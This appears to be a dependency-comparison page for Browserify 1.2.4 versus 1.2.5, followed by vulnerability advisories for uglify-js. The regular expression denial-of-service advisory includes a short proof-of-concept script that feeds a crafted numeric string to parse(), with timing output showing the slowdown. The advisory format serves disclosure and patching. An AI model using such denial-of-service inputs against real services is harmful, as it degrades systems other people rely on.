Browserify 1.2.5 introduces only minor changes to the existing stable version 1.2.4, representing an incremental update rather than a major overhaul. Both versions maintain the core functionality of enabling require() in browser environments, allowing developers to use Node.js-style modules and npm packages client-side. Both share the same dependencies, including nub, resolve, commondir, detective, and coffee-script, crucial for module resolution and dependency management. The developer experience remains consistent, with no breaking changes introduced in the upgrade and the development dependencies also being the same.
Choosing between 1.2.4 and 1.2.5 depends largely on factors outside the codebase. The update from 1.2.4 to 1.2.5 is relatively small and the core functionality is the same. Therefore the decision to upgrade depends on how up-to-date the developer wants their projects dependencies to be. The packages are very similar in their functionality and both enable developers to achieve the same thing with similar performance. The underlying mechanism for handling modules, libraries, and dependencies from the server in a client side environment is unchanged making the choice of versions less important.
All the vulnerabilities related to the version 1.2.5 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.